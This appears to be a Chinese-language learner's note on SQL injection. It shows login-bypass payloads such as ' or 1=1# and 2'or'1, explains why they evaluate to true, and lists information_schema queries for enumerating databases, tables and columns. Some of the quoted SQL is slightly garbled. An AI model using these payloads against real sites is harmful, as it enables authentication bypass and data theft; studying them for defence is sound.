1. 程式人生 > >學習web的一些筆記

學習web的一些筆記



當用戶進行使用者名稱和密碼驗證時,網站就會查詢資料庫,查詢資料庫的過程就是執行sql語句。當用戶進行登入時,後臺進行的資料庫查詢語句為(sql語句)為Select user_id ,user_type,email from users where user_id='使用者名稱'And password='密碼'

萬能鑰匙用到時語句    【Select * from admin where username ='admin' and password='admin'】 ,

可以用‘or 1=1#作為密碼進行輸入,構成sql語句為:‘Select *from admin where username='admin ’and password=' '

or  1=1#' 1#'

由於網站後臺進行資料庫查詢的時候沒有對單引號進行過濾,當用戶輸入使用者名稱{admin}和萬能鑰匙{2'or'1}

這時,進行語句為select user_id,user_type,email from users where user_id='admin' And password=2'or'1

由於SQL語句中邏輯運算子有優先順序【=】優先於【and】,【and】優先於【or】且適用於傳遞性。因此SQL語句在後臺進行解析時,語句就分為兩句【select user_id,user_type,email from users where user_id ='admin And password='2'】和【‘1’】,兩句BOOL進行邏輯or運算,恆為TRUE。就意味著已經認證成功,可以登入到系統中。

猜資料庫select schema_name from information_schema.schemata

猜某庫的資料表select table_name from information_schema.tables where table_schema=’xxxxx’

猜某表的所有列Select column_name from information_schema.columns where table_name=’xxxxx’

獲取某列的內容Select *** from ****